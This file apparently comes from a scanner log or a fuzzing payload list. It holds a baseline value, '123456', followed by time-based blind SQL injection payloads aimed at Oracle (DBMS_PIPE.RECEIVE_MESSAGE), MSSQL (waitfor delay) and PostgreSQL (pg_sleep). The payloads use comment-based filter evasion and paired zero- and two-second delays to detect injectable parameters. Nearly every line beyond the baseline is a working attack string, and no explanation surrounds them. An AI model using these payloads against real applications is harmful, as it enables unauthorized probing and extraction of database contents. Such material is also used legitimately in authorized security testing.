123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',2)='x
123456
123456
123456
123456'and(select+1)>0waitfor/**/delay'0:0:2
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('v',0)
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('k',2)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/